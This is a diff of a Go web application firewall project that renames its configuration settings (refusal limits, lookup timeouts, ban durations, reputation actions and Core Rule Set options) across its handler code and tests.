s := &sender{t: t, addr: addr, out: out}
@@ -437,7 +438,9 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
}
}
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
t *testing.T,
) {
t.Parallel()
// The test runs in a synctest bubble, where the time package runs on a
@@ -452,7 +455,8 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{
lookupTimeout: timeout.String(),
asnAndCountryLookupTimeout: strconv.FormatInt(
timeout.Milliseconds(), 10),
allowedCountries: "DE",
})
+18 -16
View File
@@ -18,7 +18,8 @@ import (
const (
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_WAF_METRICS_TOP_N"
metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS"
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
// request carries it.
token = "0123456789abcdef0123456789abcdef"
@@ -133,12 +134,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token,
rateLimitPerMinute: "1",
denyNets: denied,
banResponse: banResponseClose,
limitBanDuration: "1h",
maxBanDuration: "2h",
metricsToken: token,
rateLimitPerMinute: "1",
denyNets: denied,
banResponse: banResponseClose,
limitBanDuration: "1h",
limitBanPermanentAbove: "2h",
})
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
@@ -176,7 +177,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
// than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited)
@@ -236,10 +237,10 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
_, _ = io.WriteString(w, "hello")
})
env := map[string]string{
trustedProxies: trustLocalhost,
metricsToken: token,
metricsTopN: "2",
allowedCountries: "de,fr",
trustedProxies: trustLocalhost,
metricsToken: token,
metricsBusiestCountriesAndASNs: "2",
allowedCountries: "de,fr",
}
geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
@@ -322,8 +323,8 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
metricsToken: token,
metricsTopN: "1",
metricsToken: token,
metricsBusiestCountriesAndASNs: "1",
})
// The answers are kept before the requests, so that GeoJS gives none
@@ -379,8 +380,9 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
// GeoJS's failure can come after its request has ended.
// The client stops waiting for GeoJS once
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can
// come after its request has ended.
deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr)
+4 -4
View File
@@ -149,10 +149,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
}
if tc.setting != "" {
+30 -22
View File
@@ -47,7 +47,7 @@ const ClientsPath = "/_sww/clients/"
// Params are what New needs.
type Params struct {
Config *config.Config
Config *config.WAF
// RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to waf's own
// endpoints.
@@ -77,7 +77,7 @@ type Params struct {
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
@@ -106,7 +106,10 @@ type Server struct {
// newHandler returns the handler with what every request shares, as the
// settings in params make it.
func newHandler(params Params) *handler {
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
m := metrics.New(
params.Config.MetricsBusiestCountriesAndASNs,
params.Config.InstanceName,
)
lists, dnsbl, abuseIPDB := newReputation(params, m)
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
@@ -130,21 +133,21 @@ func newHandler(params Params) *handler {
BytesPerDay: params.Config.BytesLimitPerDay,
}, params.Config.MaxTrackedClients),
ledger: bans.New(bans.Params{
LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
MaxBanDuration: params.Config.MaxBanDuration,
AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans,
LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove,
AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans,
}),
anomalies: anomaly.New(anomaly.Params{
Client: params.Config.AnomalyClient,
Net: params.Config.AnomalyNet,
ASN: params.Config.AnomalyASN,
Total: params.Config.AnomalyTotal,
Watch: params.Config.AnomalyWatch,
WatchedNet: params.Config.AnomalyWatchedNet,
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
NamedNetblocks: params.Config.WatchNets,
NamedNetblocks: params.Config.AnomalyWatchedNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
@@ -163,7 +166,7 @@ func newHandler(params Params) *handler {
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
Timeout: params.Config.LookupTimeout,
Timeout: params.Config.ASNAndCountryLookupTimeout,
// The country list, the headers, the tag settings that name an asn=
// or country= tag and the biased thresholds act on the answer before
// the request goes on.
@@ -198,14 +201,15 @@ func newReputation(
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
})
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver,
CacheTTL: cfg.IPReputationCacheTTL,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
@@ -220,7 +224,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
@@ -228,15 +232,19 @@ func newReputation(
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// an error in every mode. While the mode is off, a set file is loaded with the
// Core Rule Set only to check it.
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
if cfg.WAFMode == config.WAFModeOff &&
func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff &&
cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
}
coreRuleSet, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel,
DisabledRules: cfg.CoreRuleSetDisabledRules,
BodyInspectionSize: min(
cfg.CoreRuleSetBodyInspectionSize,
QuestionBodyMaxBytes-1,
),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
})
@@ -247,7 +255,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
)
}
if cfg.WAFMode == config.WAFModeOff {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
}
@@ -257,7 +265,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
// handler is waf's handler. It holds what every request shares; what
// belongs to one request is in a request.
type handler struct {
config *config.Config
config *config.WAF
requestLog io.Writer
processLog *slog.Logger
now func() time.Time
+39 -37
View File
@@ -56,35 +56,35 @@ const (
// The settings the tests set.
const (
mode = "SWW_WAF_MODE"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY"
mode = "SWW_WAF_MODE"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY"
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
denyKP = "country=KP"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
rulesDir = "SWW_WAF_RULES_DIR"
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
denyKP = "country=KP"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE"
maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE"
)
// off is the value that switches a setting off.
@@ -301,7 +301,7 @@ func startProxyWithGeoJS(
// startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns waf's server as well, whose
// Addr is where waf listens. Unless env sets SWW_WAF_RULES_DIR, it is an empty
// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
// the label instance of every metric.
func startProxyWithClock(
@@ -362,17 +362,19 @@ func serve(t *testing.T, server *waf.Server) {
// startRProxy starts rproxy in front of the app at appURL, asking the waf
// at wafAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
// where it listens. What it writes is dropped.
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that
// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not
// decide.
func startRProxy(
t *testing.T, wafAddr, appURL string, env map[string]string,
) string {
t.Helper()
settings := map[string]string{
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL,
"SWW_RPROXY_TIMEOUT_MS": "60000",
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL,
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000",
}
maps.Copy(settings, env)
@@ -440,7 +442,7 @@ func newWAFWith(
t.Helper()
settings := map[string]string{
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off,
}
if geojsURL == "" {
settings[lookupSource] = off
@@ -448,7 +450,7 @@ func newWAFWith(
maps.Copy(settings, env)
cfg, err := config.FromEnvironment(configtest.Viper(settings))
cfg, err := config.WAFFromEnvironment(configtest.Viper(settings))
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
@@ -461,7 +463,7 @@ func newWAFWith(
)
ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog,
})
if err != nil {
t.Fatalf("rule files: %v", err)
+5 -5
View File
@@ -1,6 +1,6 @@
package waf
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and
// SWW_WAF_BAN_RESPONSE.
import (
@@ -14,9 +14,9 @@ import (
// refusalLimit counts the request once it has been answered, if waf
// refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the threshold is off.
// heuristics skip, is not counted, and nothing is while the limit is off.
// Its figures are the window, the count and the limit.
type refusalLimit struct{}
@@ -28,7 +28,7 @@ func (refusalLimit) check(
now time.Time,
) *verdict {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
if cfg.RefusalsLimitPerMinute == 0 {
return nil
}
@@ -37,7 +37,7 @@ func (refusalLimit) check(
}
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
cfg.RefusalsLimitPerMinute)
if !over {
return nil
}
+42 -42
View File
@@ -15,7 +15,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/waf"
)
const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
const refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE"
// refused is a request the tests here send, which waf refuses after a rule
// file match.
@@ -48,29 +48,29 @@ func (r refused) send(s *sender, from string) logLine {
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, the metrics token and
// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
// startForRefusalLimit is startWithClock with testRules, the metrics token and
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
func startForRefusalLimit(
t *testing.T, limit string, env map[string]string,
) (*sender, *clock, *waf.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
metricsToken: token,
refusalsLimitPerMinute: limit,
ruleFilesDir: writeRules(t, testRules),
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
// refusals are four, one over the limit of three.
refusals []refused
// nextAction is the action of the client's next request: the next
// request after a ban for a ban rule makes it permanent.
@@ -90,7 +90,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
s, _, _ := startForRefusalLimit(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
@@ -109,8 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
// The fourth is answered as the others were, breaks the refusal
// limit, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit {
@@ -130,7 +130,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "1", nil)
s, _, _ := startForRefusalLimit(t, "1", nil)
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
`{"window": "minute", "count": 2, "limit": 1}`)
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
s, clk, server := startForErrorBurst(t, "2", nil)
s, clk, server := startForRefusalLimit(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
@@ -221,18 +221,18 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
tagLimitPercent: countryTagDEHalf,
asnAndCountryLookupTimeout: "3600000",
refusalsLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules),
tagLimitPercent: countryTagDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
// Half of the limit would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
@@ -252,7 +252,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
@@ -266,8 +266,8 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
w.WriteHeader(statuses[r.URL.Path])
},
map[string]string{
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
refusalsLimitPerMinute: "1",
ruleFilesDir: writeRules(t, testRules),
},
)
@@ -277,7 +277,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
}
}
// The first refusal is one, not over the threshold.
// The first refusal is one, not over the limit.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -293,23 +293,23 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
limit string
// broken is whether the 31st refusal breaks the refusal limit.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
if tc.limit != "" {
env[refusalsLimitPerMinute] = tc.limit
}
s, _, _ := startWithClock(t, "", env)
@@ -322,7 +322,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
if broken != tc.broken {
t.Errorf(
"the 31st refusal broke the error burst: %t, want %t",
"the 31st refusal broke the refusal limit: %t, want %t",
broken,
tc.broken,
)
@@ -331,7 +331,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
@@ -339,7 +339,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
s, _, _ := startForRefusalLimit(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
@@ -367,10 +367,10 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(
s, clk, _ := startForRefusalLimit(
t,
"1",
map[string]string{limitBanDuration: "1s"},
@@ -389,13 +389,13 @@ func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
mode: observe,
refusalsLimitPerMinute: "1",
ruleFilesDir: writeRules(t, testRules),
})
start := clk.Now()
held := bans.Ban{
+1 -1
View File
@@ -8,7 +8,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_DNSBL_ABUSEIPDB_ACTION that
// refuses the requests of a client a source lists.
const deny = "deny"
+37 -34
View File
@@ -28,7 +28,7 @@ const (
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
)
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION:
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_DNSBL_ABUSEIPDB_ACTION:
// limitHalf gives a listed client half of every limit, and limitQuarter a
// quarter.
const (
@@ -155,7 +155,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
"dnsbl",
map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver,
reputationAction: actionDeny,
dnsblAbuseIPDBAction: actionDeny,
},
func(_ *testing.T, server *waf.Server) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
@@ -164,7 +164,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
},
{
"abuseipdb",
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
func(_ *testing.T, server *waf.Server) {
loadScores(server, map[string]int64{client: 80})
},
@@ -308,8 +308,8 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
},
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
{
"SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT's in place of the file's for the byte limits",
map[string]string{asnBytesLimitPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
},
} {
t.Run(tc.name, func(t *testing.T) {
@@ -417,9 +417,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
// The DNSBL settings.
const (
dnsblZones = "SWW_WAF_DNSBL_ZONES"
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
reputationAction = "SWW_WAF_REPUTATION_ACTION"
dnsblZones = "SWW_WAF_DNSBL_ZONES"
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION"
)
// The DNSBL zones these tests name, which are never asked about the
@@ -432,7 +432,7 @@ const (
noResolver = "127.0.0.1:9"
)
func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -453,7 +453,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
// Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + reputationAction,
"50 from " + dnsblAbuseIPDBAction,
},
{
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
@@ -465,7 +465,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone,
dnsblResolver: noResolver, reputationAction: tc.action,
dnsblResolver: noResolver, dnsblAbuseIPDBAction: tc.action,
})
listedBy := map[string][]string{
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone},
@@ -523,7 +523,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
s, server, queue := startWithLookups(t, map[string]string{
blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver,
reputationAction: actionDeny, allowNets: fromDE,
dnsblAbuseIPDBAction: actionDeny, allowNets: fromDE,
})
loadLists(t, server, map[string][]string{dropURL: {fromKP}})
loadVerdicts(
@@ -566,7 +566,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
{
"dnsbl",
map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
